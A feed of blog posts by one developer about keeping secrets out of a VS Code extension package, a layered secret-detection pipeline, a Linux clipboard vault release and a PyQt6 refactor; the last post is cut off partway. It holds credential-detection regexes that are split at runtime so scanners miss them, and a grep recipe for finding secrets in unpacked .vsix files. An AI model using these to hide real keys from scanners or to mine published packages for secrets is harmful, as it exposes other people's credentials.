DEV Community: freerave

The VSIX Packaging Trap: How I Eliminated Embedded Client Secrets from a VS Code Extension

freerave — Fri, 25 Sep 2026 15:04:51 +0000

A .vsix is just a ZIP archive of plain JavaScript. Here is the post-mortem of how our build-time secrets failed, how we designed dynamic device registration with OS SecretStorage, and how we solved the 'scanner scanning the scanner' paradox.

TL;DR: Distributing a client-server VS Code extension means accepting a hard truth: a .vsix file is just a ZIP archive containing JavaScript that can be extracted and inspected. This article breaks down how our initial attempt to inject build-time backend secrets was scrapped, how we engineered an anonymous dynamic device handshake with OS-level SecretStorage, and how we resolved the bizarre paradox of static security scanners flagging our own secret detection patterns.

The Illusion of the Extension Package

When developers distribute software through the VS Code Marketplace or the Open VSX Registry, it is easy to unconsciously think of the .vsix file as a compiled, opaque binary.

It is not.

A .vsix package is an Open Packaging Conventions (OPC) archive — an ordinary ZIP file containing your extension’s manifest (package.json), assets, and compiled JavaScript output (out/).

Anyone can verify this with standard shell utilities:

# Rename and extract any published extension
cp DotEnvy-2.1.0.vsix DotEnvy.zip
unzip -q DotEnvy.zip -d extracted/
cd extracted/extension/out

# Search for sensitive variables
grep -rn "SHARED_SECRET" .

If you injected an API key, an HMAC signing secret, or a database token into your client code at compile time, you just published that secret to the entire world.

Context: Why Did We Need a Secret in the First Place?

In Part 1 of this series, I explained how we built Aegis — a 4-layer AI secret detection pipeline for DotEnvy.

The first three layers (Regex, Community Blacklist, and Entropy Gating) execute locally inside the editor process. But Layer 4 requires invoking our Python microservice (aegis.dotsuite.dev) on Railway to run contextual neural classification.

To protect the backend against unauthorized abuse, spam, and denial-of-service, we required incoming HTTP requests to be signed using HMAC-SHA256:

$$\text{Signature} = \text{HMAC-SHA256}(\text{SharedSecret}, \text{Timestamp} + "." + \text{Payload})$$

This design introduced our fundamental dilemma:

How does an open-source, publicly distributed client authenticate with a protected backend service without shipping a hardcoded secret in its package?

Attempt 1: The Build-Time Secret Trap (v2.1.0)

Our initial approach relied on build-time environment variable substitution. In our deployment pipeline, a Node script injected a secret before invoking vsce package:

// scripts/build-with-env.js (Flawed Approach)
const secret = process.env.PRODUCTION_EXTENSION_SECRET;
let code = fs.readFileSync('out/utils/llmAnalyzer.js', 'utf8');
code = code.replace('REPLACE_AT_BUILD_TIME', secret);
fs.writeFileSync('out/utils/llmAnalyzer.js', code);

While this kept the secret out of our public git repository, it was an architectural disaster:

The VSIX Leak: As demonstrated above, extracting the .vsix exposed the secret immediately.
Automated Scanner Flags: Automated CI/CD bots (GitHub Secret Scanning, Trufflehog, CodeQL) automatically inspect release assets. A high-entropy hex string inside compiled JavaScript triggers immediate alerts.
Single Point of Compromise: If one user decompiles the extension and leaks the shared secret, the backend can no longer trust any extension client without rotating the key and breaking every installed instance worldwide.

We scrapped this design entirely.

Attempt 2: Zero Embedded Client Secrets & Dynamic Device Handshake (v2.1.2)

We established a strict architectural rule: Zero Embedded / Static Client Secrets.

Not a single secret, token, or private key may exist in the source code, build scripts, or packaged .vsix bundle.

Instead, we designed an anonymous, zero-touch dynamic device registration handshake:

┌────────────────────────────────────────┐           ┌────────────────────────────────────────┐
│ DotEnvy Client (First Activation)      │           │ Aegis Backend (aegis.dotsuite.dev)     │
└───────────────────┬────────────────────┘           └───────────────────┬────────────────────┘
                    │                                                    │
                    │ 1. POST /extension/register                        │
                    │    { machine_id: hash(vscode.env.machineId) }      │
                    ├───────────────────────────────────────────────────►│ Strict IP Rate Limiter
                    │                                                    │ (Max 10 per hour per IP)
                    │                                                    │
                    │                                                    │ 2. Backend generates unique
                    │                                                    │    cryptographic client_secret
                    │ 3. Returns per-device secret                       │    and stores active record
                    │◄───────────────────────────────────────────────────┤
                    │                                                    │
                    ▼                                                    ▼
          Stored Exclusively in                                Subsequent requests signed via
         OS-level SecretStorage                                HMAC-SHA256(timestamp + body)
       (macOS Keychain / Windows                               with per-machine rate limiting
      Credential Manager / libsecret)                                 (30 req/min)

1. Anonymous Environment Identity

When DotEnvy launches for the first time, it generates a non-reversible identifier from VS Code's environment API:

private getMachineId(): string {
    return vscode.env.machineId || 'anonymous-machine';
}

vscode.env.machineId provides a pseudonymous environment identifier that lets the backend maintain per-client state and rate limits without requiring a user account.

2. Ephemeral Dynamic Registration

The extension calls /extension/register:

Defense in Depth: The registration endpoint is protected by strict IP-based rate limiting (maximum 10 registrations per hour per IP) to prevent Sybil registration floods.
Unique Credential Issuance: The backend generates an independent 256-bit cryptographically random secret (client_secret), persists the mapping in PostgreSQL, and returns it over TLS.

3. OS-Level SecretStorage

The extension never writes the returned secret to disk, .env files, or standard workspace settings. It stores the credential directly inside VS Code's SecretStorage API:

public async setSharedSecret(secret: string): Promise<void> {
    await this.secrets.store('dotenvy.llm.sharedSecret', secret);
    this.sharedSecret = secret;
}

Under the hood, VS Code delegates SecretStorage to native operating system keyrings:

macOS: Apple Keychain
Windows: Windows Credential Manager
Linux: Secret Service API (gnome-keyring / KWallet)

4. Authenticated Request Signing

For all subsequent requests, DotEnvy signs its payloads using HMAC-SHA256:

private signRequest(body: string): { timestamp: string; signature: string } {
    const timestamp = String(Math.floor(Date.now() / 1000));
    const signature = crypto
        .createHmac('sha256', this.sharedSecret!)
        .update(`${timestamp}.${body}`)
        .digest('hex');
    return { timestamp, signature };
}

On the backend, Aegis:

Validates the timestamp against a 5-minute sliding window to prevent replay attacks.
Looks up the client_secret corresponding to the X-Machine-ID header.
Uses Python's constant-time comparison hmac.compare_digest to prevent timing attacks.
Applies a machine-level rate limit (30 requests/minute).

If a specific client secret is ever compromised on a developer's local machine, revoking that single record does not disrupt any other user.

The Automated Gatekeeper: CI/CD Pre-Publish Validation

To ensure no developer or automated script ever accidentally reintroduces an embedded secret, we added an automated pre-publish scanner to scripts/build-with-env.js:

// scripts/build-with-env.js
const fs = require('fs');
const path = require('path');

const outDir = path.join(__dirname, '..', 'out');

function scanDir(dir) {
    let flagged = 0;
    const files = fs.readdirSync(dir);
    for (const f of files) {
        const fullPath = path.join(dir, f);
        if (fs.statSync(fullPath).isDirectory()) {
            flagged += scanDir(fullPath);
        } else if (fullPath.endsWith('.js')) {
            const content = fs.readFileSync(fullPath, 'utf8');

            // Check for illegal embedded secret patterns
            if (/const\s+embeddedSecret\s*=\s*["'][A-Za-z0-9_-]{20,}["']/.test(content)) {
                console.error(`❌ Security Alert: Hardcoded embeddedSecret found in ${fullPath}!`);
                flagged++;
            }
        }
    }
    return flagged;
}

const flags = scanDir(outDir);
if (flags > 0) {
    console.error(`\n❌ Pre-publish check failed: ${flags} leaked secret(s) found in out/!`);
    process.exit(1);
} else {
    console.log('✅ Security check passed: 0 embedded secrets found in compiled out/ bundle.');
}

This verification script runs automatically as part of npm run package. If a secret is detected, the build halts with an exit code of 1, aborting the release pipeline.

The "Scanner Scanning the Scanner" Paradox (v2.1.3)

Once we eliminated embedded secrets, we collided with an ironic roadblock: automated static security scanners started blocking our extension releases.

DotEnvy is a security extension designed to detect leaked credentials. Its pattern registry naturally contains regular expressions for popular API tokens:

// ❌ v2.1.0: Literal regex prefixes
const KNOWN_SECRET_PATTERNS = [
    { name: 'AWS Access Key',  regex: /AKIA[0-9A-Z]{16}/ },
    { name: 'Stripe Live Key', regex: /sk_live_[0-9a-zA-Z]{24,}/ },
    { name: 'GitHub Token',    regex: /ghp_[a-zA-Z0-9]{36}/ },
    { name: 'Google API Key',  regex: /AIza[0-9A-Za-z\-_]{35}/ },
];

When GitHub’s push protection and marketplace upload scanners inspected our compiled output, their naive string-matching heuristics triggered on our own code:

"Warning: Leaked AWS Access Key pattern detected in out/utils/llmAnalyzer.js"

The scanners couldn't differentiate between code containing a secret and code designed to detect a secret.

Avoiding Static Scanner False Positives via Runtime Pattern Construction

To resolve these false positives without weakening our detection capabilities, we refactored the pattern registry to assemble sensitive token prefixes dynamically at runtime:

// ✅ v2.1.3: Assembled at runtime — clean scanner bill of health
const KNOWN_SECRET_PATTERNS = [
    { 
        name: 'AWS Access Key',  
        regex: new RegExp(['A', 'KIA', '[0-9A-Z]{16}'].join('')) 
    },
    { 
        name: 'Stripe Live Key', 
        regex: new RegExp(['sk', '_live_', '[0-9a-zA-Z]{24,}'].join('')) 
    },
    { 
        name: 'GitHub Token',    
        regex: new RegExp(['g', 'hp_', '[a-zA-Z0-9]{36}'].join('')) 
    },
    { 
        name: 'Google API Key',  
        regex: new RegExp(['AI', 'za', '[0-9A-Za-z\\-_]{35}'].join('')) 
    },
];

Engineering Note: This runtime string assembly is not an evasion technique against security controls; it is a pragmatic packaging workaround to prevent regex-based linters from confusing detection definitions with genuine credential leaks. Inside Node's V8 engine, the compiled RegExp objects are identical and execute at native engine speed.

Build Hygiene & VSIX Purity

Our final hardening step addressed package purity:

Automatic Pre-Build Purging: We updated our package.json scripts to mandate rm -rf out before every invocation of tsc. Stale, uncompiled test artifacts from previous development sessions can never accidentally be swept into a production .vsix.
Aggressive .vscodeignore Hardening: We audited and excluded all non-production files:
- Development linter configs (eslint.config.mjs)
- Internal test runners and mock fixtures
- Temporary extraction folders (extracted-vsix/)
- Documentation drafts and article markdowns

The resulting .vsix bundle contains solely the minified runtime code and localized UI assets.

Checklist for VS Code Extension Developers

If you are building a VS Code extension that interacts with a private backend, keep these rules in mind:

Rule	Bad Practice ❌	Good Practice ✅
Client Secrets	Injecting API keys in build scripts	Zero embedded secrets; dynamic device handshake
Local Storage	Saving tokens in `workspaceState`	Storing credentials in native OS `SecretStorage`
Request Signing	Sending plain machine IDs	HMAC-SHA256 with timestamp sliding window
Scanner Hygiene	Hardcoded token regex literals	Dynamic runtime pattern construction
Package Hygiene	Relying on default package contents	Automated `rm -rf out` + strict `.vscodeignore`

Links & Verification

🔗 VS Code Marketplace: marketplace.visualstudio.com/items?itemName=FreeRave.dotenvy
🌐 Open VSX Registry: open-vsx.org/extension/freerave/dotenvy
📦 GitHub Repository: github.com/kareem2099/dotenvy
📖 Read Part 1: DotEnvy Aegis: Building a 4-Layer AI Secret Detection Pipeline for VS Code
📝 Full Changelog: CHANGELOG.md

Written by FreeRave. If you've encountered packaging headaches or static scanner false alarms in your extensions, feel free to reach out and share your experience.

DotEnvy Aegis: Building a 4-Layer AI Secret Detection Pipeline for VS Code

freerave — Thu, 24 Sep 2026 20:38:11 +0000

How I architected a multi-layer secret scanner combining regex, truncated composite community hashing, Shannon entropy gating, and a 35-feature neural classifier — cutting LLM overhead by ~80%.

TL;DR: DotEnvy Aegis introduces a 4-layer secret detection pipeline (Regex → Truncated Composite Community Blacklist → Shannon Entropy Gate → Neural Context Classifier), migrates encryption keys to the OS keychain, auto-authorizes backups with project master keys, and syncs hashes to an anti-poisoning community blacklist on Railway — all without transmitting raw secret payloads.

What is DotEnvy?

DotEnvy is an open-source VS Code extension designed to bring enterprise-grade security to local .env file management:

Encrypted Variable Management (AES-256-GCM, PBKDF2 with 310,000 iterations)
Multi-User Envelope Encryption (each teammate decrypts using individual credentials)
Cloud Synchronization (native Doppler, Vercel, and AWS integrations)
AI-Powered Secret Detection (the focus of this article)
Git Pre-Commit Hooks (blocking credential leaks before commits land in git history)
Environment Analytics, Timeline, & Diff panels

The extension communicates with Aegis (python-llm), a custom Python microservice deployed on Railway that runs contextual neural classification on candidate secrets.

The Problem: One Layer is Never Enough

In our earliest experimental prototype, secret detection was a blunt instrument: every candidate token triggered an HTTP request to the backend model.

This naive architecture fell apart under real-world development workloads:

Latency Overhead: Every network round-trip added 200–450ms of latency, quickly degrading editor responsiveness during live typing.
Availability Dependency: If the network dropped or the backend restarted, secret detection failed silently.
The False Positive/Negative Dilemma:
- A high-entropy random string (like an image hash or UUID) looks like a secret to entropy analyzers, but is harmless.
- A low-entropy or structured token looks harmless to statistical math, but may grant full database admin rights.

Context matters. Regex patterns matter. Math matters. Community intelligence matters.

Aegis solves this by decoupling detection into an L1 → L4 pipeline: four independent, complementary layers where each layer filters out noise before invoking the more expensive layer downstream.

The L1–L4 Architecture

Candidate: (secretValue, contextLine, variableName)
                     │
                     ▼
┌──────────────────────────────────────────┐
│  L1: Regex Pattern Engine                │ ← Sub-millisecond, in-process
│  Matches well-known vendor prefixes      │   High-confidence match → HIGH
└────────────────────┬─────────────────────┘
                     │ no match
                     ▼
┌──────────────────────────────────────────┐
│  L2: Community Blacklist Cache           │ ← O(1) in-memory Set<string>
│  Truncated composite hash lookup         │   Known leaked hash → HIGH
└────────────────────┬─────────────────────┘
                     │ not in blacklist
                     ▼
┌──────────────────────────────────────────┐
│  L3: Shannon Entropy Gate                │ ← Pure mathematical calculation
│  Normalized entropy < 3.5 → LOW (skip)   │   Filters ~80% of candidate tokens
└────────────────────┬─────────────────────┘
                     │ entropy ≥ 3.5
                     ▼
┌──────────────────────────────────────────┐
│  L4: Contextual Neural Classifier        │ ← Remote FastAPI service
│  35-feature vector + attention layers    │   Deep semantic risk analysis
└──────────────────────────────────────────┘

In our current workload benchmarks across typical codebases, approximately 20% of extracted candidates reach L4. The remaining ~80% are resolved in-memory with sub-millisecond execution times, saving substantial network bandwidth and cloud compute.

Layer 1: In-Process Regex Engine (Instant Confidence)

Known secret formats (like AWS access keys, Stripe live tokens, and GitHub personal access tokens) follow strict, deterministic grammars. Running an AI model to identify a string that starts with AKIA followed by 16 alphanumeric characters is wasteful.

const KNOWN_SECRET_PATTERNS = [
    { name: 'AWS Access Key',  regex: new RegExp(['A', 'KIA', '[0-9A-Z]{16}'].join('')) },
    { name: 'Stripe Live Key', regex: new RegExp(['sk', '_live_', '[0-9a-zA-Z]{24,}'].join('')) },
    { name: 'GitHub Token',    regex: new RegExp(['g', 'hp_', '[a-zA-Z0-9]{36}'].join('')) },
    { name: 'Google API Key',  regex: new RegExp(['AI', 'za', '[0-9A-Za-z\\-_]{35}'].join('')) },
];

An L1 match immediately assigns high risk, bypasses all subsequent layers, and triggers an asynchronous hash report to the community blacklist.

Layer 2: Community Blacklist via Truncated Composite Hashing

When a secret is identified and verified across the community, other developers should benefit instantly without having to re-analyze it through the LLM. However, sharing leaked secrets raises an immediate privacy question: How do you cross-reference secrets without transmitting sensitive values over the network?

L2 utilizes truncated composite hashing:

public hashEntry(variableName: string, value: string): string {
    // Only capture the variable name and the first 8 characters of the value
    const prefix = value.slice(0, 8);
    return crypto
        .createHash('sha256')
        .update(`${variableName}:${prefix}`)
        .digest('hex')
        .substring(0, 16);
}

Privacy Nuance & Threat Model

We deliberately avoid claiming that this hashing scheme is an "absolute privacy shield":

What it accomplishes: The full secret is never transmitted across the wire or stored in community databases.
The engineering trade-off: For very short secrets or known formats, truncated prefixes could theoretically be susceptible to targeted dictionary guessing. We treat this composite hash as an effective deduplication fingerprint for collaborative defense, not a one-way cryptographic commitment for sensitive data.

On extension activation, DotEnvy pulls the promoted blacklist hashes into an in-memory Set<string>. Any candidate lookup is an $O(1)$ memory check with zero network overhead.

Server-Side Anti-Poisoning Architecture

To prevent malicious clients from poisoning the blacklist or whitelisting actual credentials, submissions must pass a server-side reputation pipeline:

Client Submits Hash
        │
        ▼
Staging Queue (Requires 3 distinct environments + reputation weighting)
        │
        ▼
Server-Side Verification (Backend re-evaluates risk on the pattern)
        │
        ▼
Promoted to Community Blacklist

Threat Model Note: The 3-environment quorum and historical accuracy weighting are designed to raise the operational cost of poisoning attacks, rather than claiming Byzantine Sybil-proof consensus. High-accuracy reporters gain vote weight, while repeated false reporters are banned.

Layer 3: Shannon Entropy Gate

Shannon entropy quantifies the unpredictability and information density of a string:

$$H(X) = -\sum_{i=1}^{n} P(x_i) \log_2 P(x_i)$$

In our feature extraction pipeline, Shannon entropy is calculated and normalized into a standard feature scalar:

const features = this.extractFeatures(secretValue, context, variableName);
const entropy = features[7] * 8.0; // Denormalize f[7]

if (entropy < 3.5) { 
    return 'low'; // Skip expensive L4 inference entirely
}

Plain text words and standard identifiers (const databaseHost = "localhost") exhibit low entropy ($\approx 2.1 - 2.8$). Cryptographic secrets and API tokens (sk_live_9xQ8...) typically exhibit entropy values above $4.2$.

Filtering out low-entropy candidates at L3 eliminates the vast majority of false alarms before a single byte touches the network.

Layer 4: Contextual Neural Classifier (Aegis)

Tokens that survive L1–L3 enter L4. This layer evaluates a 35-dimensional feature vector capturing:

Text Morphology (6): Uppercase ratio, digit ratio, symbol density, length normalization.
Entropy Gradients (3): Shannon entropy, bigram entropy, trigram entropy.
Pattern Signals (3): Base64 padding, hex character sets, character transition frequency.
Context Semantics (5): Surrounding keywords (Bearer, Authorization, db_pass, private_key).
Identifier Conventions (4): ALL_CAPS naming, presence of SECRET/TOKEN/KEY substrings.
Structural Separators (4): Dot delimiters (JWTs), underscores, dashes, colons.
Derived Interactions (10): Non-linear threshold flags combining entropy with context sensitivity.

# python-llm/src/model.py
class CustomLLM:
    """Neural risk classifier with self-attention and backpropagation."""
    def __init__(self, config: ModelConfig):
        self.embedding = DenseLayer(35, config.hidden_dim)
        self.attention = MultiHeadSelfAttention(config.hidden_dim, num_heads=4)
        self.classifier = FeedForward(config.hidden_dim, config.num_classes)
        self.optimizer = Adam(learning_rate=0.001)

At its current stage, the classifier is trained on an experimental curated dataset of 112+ labeled secret and non-secret samples. It runs backpropagation via Adam optimization, with model weights persisted in a PostgreSQL database surviving service redeploys.

Important Philosophy: Risk Signals, Not a Security Oracle

A vital design principle behind Aegis:

No layer is treated as an absolute security oracle.
The pipeline generates heuristic risk classifications, not mathematical proofs of secrecy. L1 provides deterministic pattern matching for known vendor formats, while entropy and neural inference provide weighted signals to aid human developers in reviewing their environments.

When the remote model is unreachable or rate limits are reached, the extension seamlessly falls back to local heuristic scoring without crashing or blocking the developer.

OS-Level Key Security: SecretStorage Migration

A secret detector is useless if the extension itself stores encryption keys insecurely.

In earlier versions, master keys lived in VS Code’s workspaceState (essentially unencrypted JSON storage). In Aegis, all master encryption keys and PBKDF2 salts were migrated to VS Code’s OS-level SecretStorage:

macOS: Apple Keychain
Windows: Windows Credential Manager
Linux: Secret Service API / gnome-keyring

public static async ensureMasterKey(context: vscode.ExtensionContext): Promise<Buffer> {
    const secretsKey = `${this.SECRET_STORAGE_KEY_PREFIX}${workspace}`;

    // 1. Check OS SecretStorage
    const stored = await context.secrets.get(secretsKey);
    if (stored) { return Buffer.from(stored, 'base64'); }

    // 2. Zero-touch migration from legacy workspaceState
    const legacyKey = context.workspaceState.get<string>(secretsKey);
    if (legacyKey) {
        await context.secrets.store(secretsKey, legacyKey);
        await context.workspaceState.update(secretsKey, undefined); // Secure cleanup
        return Buffer.from(legacyKey, 'base64');
    }

    // 3. Cryptographically secure 256-bit key generation
    const key = crypto.randomBytes(32);
    await context.secrets.store(secretsKey, key.toString('base64'));
    return key;
}

The migration is completely transparent to the user, executing silently upon extension activation.

Test Verification

Both the TypeScript extension and the Python backend are verified by end-to-end test suites:

DotEnvy Extension (VS Code)

🧪 Running Complete DotEnvy Test Suite

✅ [Encryption Algorithms & PBKDF2]           8/8 passed
✅ [L1–L4 Multi-Layer AI Scanner & HMAC]      4/4 passed  
✅ [Master Key Lifecycle, Password Migration]  9/9 passed

🎉 21/21 TESTS PASSED
npm run compile   → 0 errors
npm run lint      → 0 warnings

Aegis Backend Service (FastAPI / PyTorch)

✅ Feature extractor: 35 features verified - OK
✅ Neural model architecture - loss=1.1534
✅ Forward pass evaluation - prediction: high
✅ Full analyze pipeline execution - confidence: medium
✅ Database round-trip test - weights save/load OK

The Next Challenge: Shipping the Detector

Designing a 4-layer AI scanner was only half the journey.

When we attempted to package this extension into a .vsix bundle and distribute it through the VS Code Marketplace and Open VSX, we collided with two massive engineering road hazards:

The VSIX Trap: How our attempt to authenticate extension requests with our backend accidentally created a critical secret leak vector.
The Scanner Paradox: Why static analysis bots accused DotEnvy of leaking secrets simply because it contained the regex patterns needed to detect them!

👉 Read the complete post-mortem in Part 2:

The VSIX Packaging Trap: How I Eliminated Embedded Client Secrets from a VS Code Extension

Links & Resources

🔗 VS Code Marketplace: marketplace.visualstudio.com/items?itemName=FreeRave.dotenvy
🌐 Open VSX Registry: open-vsx.org/extension/freerave/dotenvy
📦 GitHub Repository: github.com/kareem2099/dotenvy
🐍 Backend Health: https://aegis.dotsuite.dev/health
📝 Changelog: CHANGELOG.md

Written by FreeRave. Contributions and community feedback are always welcome.

DotGhostBoard 2.0.0 'Cerberus': Building a Native Cryptographic Clipboard & Vault for Linux

freerave — Tue, 22 Sep 2026 12:56:36 +0000

Meet DotGhostBoard 2.0.0 — a lightweight, zero-telemetry Linux clipboard manager featuring an encrypted Vault, Shannon entropy secret detection, multi-channel updates, tiling WM support, and native notifications.

Every developer and power user on Linux has wrestled with the clipboard dilemma:

The Classic Utilities: Tools like xclip or basic clipboards do their job, but lack visual search, organization, and security.
The Modern Web Wrappers: Modern tools often arrive packaged in Electron, consuming 400MB+ of RAM just to hold text strings, with opaque network calls and zero encryption.
The Security Risk: Your clipboard regularly holds your most sensitive data — database passwords, GitHub personal access tokens, AWS keys, JWT tokens, and SSH commands. Storing that in plaintext on disk is a massive vulnerability.

We built DotGhostBoard to solve this: a native, lightweight, privacy-first, and cryptographic clipboard security station designed specifically for Linux.

Today, after months of development, architectural refactoring, and rigorous testing, we are excited to release DotGhostBoard v2.0.0 "Cerberus" — our biggest milestone yet! 🚀

⚡ What Makes DotGhostBoard Different?

DotGhostBoard is engineered with pure native technologies: Python 3.11+, PyQt6, SQLite, and cryptography.

Zero Cloud & Zero Telemetry: Everything stays strictly local on your device. No analytics, no phone-home pings, no external network requests.
SQLite Secure Deletion: Uses PRAGMA secure_delete = ON to reduce residual deleted data in SQLite storage by overwriting freed SQLite database pages, paired with explicit handling of Write-Ahead Logs (WAL) and storage cleanup.
Fast Global Hotkeys: Low-overhead global hotkey listeners (Ctrl+Alt+V for Dashboard, Ctrl+Alt+Space for Spotlight Quick Search) with responsive window summoning and instant focus.
Ultra-Lightweight Footprint: Starts near-instantaneously and uses a fraction of the memory footprint of web-based alternatives.

🔍 What Changed in 2.0.0

Cerberus is not a single feature release. It is an architectural rebuild focused on four foundational areas:

Local Cryptographic Storage: AES-256-GCM envelope encryption with ephemeral in-memory reveal for credentials and tokens.
Secret Detection and Handling: Real-time Shannon entropy heuristics that intercept sensitive tokens before clipboard exposure.
Safe Release Channels: Multi-tier delivery (Stable, Beta, Alpha) with strict opt-in pre-releases.
Native Linux Desktop Integration: Direct X11/EWMH workspace migration and FreeDesktop notification support.

🛡️ The Architecture of 2.0.0: Core Subsystems

Here is an engineering deep-dive into everything under the hood:

1. The Encrypted Vault UI Subsystem (`ui/vault/`)

While DotGhostBoard has always featured Eclipse Mode for local item encryption, 2.0.0 introduces The Vault — a dedicated, sliding drawer panel accessible via Ctrl+Shift+V or the sidebar button.

Envelope Encryption (AES-256-GCM): Secrets are protected with authenticated symmetric encryption; plaintexts are never persisted to disk unencrypted.
Category Filtering: Organize passwords, API keys, tokens, SSH credentials, and secure notes with real-time filtering pills.
In-Memory Ephemeral Reveal: Secrets stay masked (••••••••••••••••) by default to prevent shoulder surfing, revealing only on-demand in monospace font and auto-scrubbing from memory when locked.
Zero-Plaintext Deduplication: Computes an in-memory HMAC digest of candidate secrets and evaluates them against existing in-memory secret signatures using constant-time hmac.compare_digest. This prevents storing duplicate secrets without ever persisting plaintext hashes or pre-images into SQLite storage.

2. Zero-Log Password & Secret Detector

One of the most dangerous clipboard events is accidentally copying a production secret. DotGhostBoard 2.0.0 integrates a real-time detection engine (core/security/detector.py):

Shannon Entropy Analysis: Computes the mathematical information entropy ($\ge 3.0$) of copied text alongside character class distribution (mixed casing, digits, symbols).
Smart Heuristics: Identifies API tokens (AWS keys, GitHub PATs, JWTs, Stripe keys, generic credentials).
False-Positive Reduction & Guardrails: Intelligently filters file paths, environment variables (like $PWD), git branch names, code function calls, and multiline snippets to significantly minimize false positives while preserving true secret catches.
Zero-Loss Auto-Encryption: If you copy a secret and miss the toast prompt, the 60-second TTL fallback automatically encrypts the clip into Eclipse history rather than discarding it.

3. Direct "Send to Vault" Workflow

Found an API token in your clipboard history that you want to keep permanently safe?

Text cards now feature a dedicated 🛡️ Send to Vault button and context menu action.
Automatically prefills the secret dialog, decrypts on the fly if previously encrypted under Eclipse, and cleans up the history card seamlessly upon confirmation.

4. Multi-Channel Update Engine (Stable, Beta, Alpha)

Keeping local native desktop apps updated without waiting for distribution package maintainers can be tedious. DotGhostBoard 2.0.0 introduces an integrated Multi-Channel Release Engine:

Select your desired update track in Settings → General:
- Stable: Verified, production-ready releases.
- Beta: Pre-releases and release candidates for early adopters.
- Alpha: Bleeding-edge experimental builds.
Safe Channel Guarantee: Stable is the default channel. Pre-release builds (Beta and Alpha) are strictly opt-in.
The update dialog features live byte-progress indicators, changelog display, and seamless one-click binary restart.

5. System-Native FreeDesktop Notifications

Instead of relying solely on system tray balloons, 2.0.0 talks directly to FreeDesktop notification daemons (/usr/bin/notify-send and D-Bus):

Rich desktop alerts for secret detections, sync events, and updates.
Interactive Click Callback: Clicking a notification immediately foregrounds DotGhostBoard on your active monitor.
Graceful fallback to QSystemTrayIcon if an external notification daemon is not running.

6. Tiling Window Manager & EWMH Workspace Migration

Tiling window manager users (tested on Qtile, and compatible with EWMH-compliant window managers) often suffer from popup clipboard managers getting stuck on inactive workspaces or behaving strangely when toggled.

DotGhostBoard 2.0.0 implements direct EWMH (Extended Window Manager Hints) interaction using Python's standard ctypes directly against libX11.so.6:

When you summon DotGhostBoard (Ctrl+Alt+V or dotghostboard --toggle) from Workspace 2 while the window was previously opened on Workspace 1, DotGhostBoard:
1. Detects _NET_CURRENT_DESKTOP vs _NET_WM_DESKTOP.
2. Resolves the X11 limitation where Qt reports isVisible() == True even on unmapped workspaces.
3. Sends _NET_WM_DESKTOP and _NET_ACTIVE_WINDOW ClientMessages with pager priority (source=2).
4. Automatically migrates the window to your active workspace and focuses it instantly without hiding!
Modal Safety: Dialogs (LockScreen, UnlockDialog) are prepared with prepare_dialog_for_current_workspace() before exec(), guaranteeing modal focus without breaking the Qt event loop.
Kill Switch: DOTGHOST_NO_EWMH=1 is supported for users who prefer traditional window manager handling.

🎨 Cyber-Stealth Phantom Visual Identity

With 2.0.0, we retired the legacy 8-bit ghost icon in favor of the Cyber-Stealth Phantom:

Dark graphite matte squircle paired with a radiant neon green visor (#00ff41).
High-precision downsampling pipeline using Lanczos resampling and unsharp masking, ensuring pixel-perfect sharpness from 16x16 system tray icons up to 512x512 desktop launchers.

🧪 Engineering Quality & Verification

We believe security and privacy utilities must be held to the highest code quality standards:

489 Automated Tests (100% Passing): Unit tests, mock isolation, raw disk zero-overwrite verification, and live integration tests running inside virtual X11 displays (Xvfb) against both Openbox and real Qtile 0.36.0.
Strict Modularity & File Budgets: Architecture guardrails ensure complex UI components remain decoupled and maintainable (ui/dashboard.py strictly adheres to a $\le 500$ LOC limit to eliminate God-object bloat).
Targeted Code Quality: Core coordination modules, window management routines, and security controllers adhere strictly to PEP8/flake8 standards.

📦 How to Get DotGhostBoard 2.0.0

DotGhostBoard is 100% open source under the Apache-2.0 License.

1. OpenDesktop / KDE Store / Pling

You can grab the release package, AppImage, or leave a review on OpenDesktop:
👉 DotGhostBoard on OpenDesktop / Pling

2. GitHub Repository & Releases

Download standalone binaries, AppImages, Debian .deb packages, or inspect the source code:
👉 GitHub: kareem2099/DotGhostBoard

Quick Install from Source:

# Clone the repository
git clone https://github.com/kareem2099/DotGhostBoard.git
cd DotGhostBoard

# Set up environment
python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt

# Run DotGhostBoard
python3 main.py

Enable Global Shortcuts:

Toggle Dashboard: Ctrl+Alt+V
Spotlight Quick Search: Ctrl+Alt+Space
Toggle Encrypted Vault: Ctrl+Shift+V

🤝 Join the Community

Whether you're on Arch, Debian, Ubuntu, Fedora, or Kali Linux — and whether you use GNOME, KDE, or Qtile — DotGhostBoard was built to give you total control and security over your clipboard.

⭐ Star the repo on GitHub
💬 Share feedback and submit feature requests via GitHub Issues
🌐 Check out our listing on OpenDesktop

Cerberus is ultimately about one principle: sensitive clipboard data should remain under the user's control — locally stored, explicitly protected, and never silently promoted to the network.

Happy hacking and secure copying! 👻🔒

From Monolith to Modular Architecture: Refactoring a 2,353-Line PyQt6 Desktop App Without Regressions

freerave — Wed, 16 Sep 2026 15:04:44 +0000

How we transformed DotGhostBoard from a monolithic desktop app into a decoupled, test-driven modular architecture — decomposing monolithic classes, isolating SQLite, and adding 86 tests with zero regressions.

A 2,353-line Dashboard class is rarely just a large file. It is usually a symptom that storage, business logic, security, synchronization, and UI behavior have all collapsed into the same boundary.

That was the state of DotGhostBoard v1.5 — an open-source, privacy-first clipboard manager for Linux built with Python and PyQt6.

What began as a snappy, native desktop tool had accumulated layers of complexity: local AES-GCM encryption, dynamic database queries inside widget click handlers, regex secret detectors on keystrokes, and peer-to-peer LAN sync. Modifying a single button callback risked tripping up the entire Qt event loop.

To prepare the codebase for its upcoming v2.0 milestone (native Wayland protocol support, end-to-end device sync, and extensible plugins), we undertook a comprehensive four-phase refactoring initiative.

The outcome:

ui/dashboard.py shrank from 2,353 to 1,535 lines (-35% LOC).
The automated test suite expanded from 220 to 306 tests across 25 modules (+39% tests).
The entire refactor passed the test suite with zero detected user-facing regressions.

Here is the exact architectural blueprint, design patterns, and lessons learned.

🛑 The "Before" Architecture: The Desktop App Debt Trap

Desktop applications built with GUI frameworks like Qt, Tkinter, or wxWidgets are notoriously susceptible to the monolithic "Blob" antipattern:

[ THE MONOLITHIC ARCHITECTURE ]
┌──────────────────────────────────────────────────────────────────┐
│ Dashboard (ui/dashboard.py) — 2,353 Lines                        │
│  - Raw SQL queries (`cursor.execute(...)`)                       │
│  - AES-GCM crypto encryption/decryption                          │
│  - Card widget lifecycle & pagination                            │
│  - LAN socket broadcasting                                       │
│  - Password prompt modals & session key caching                  │
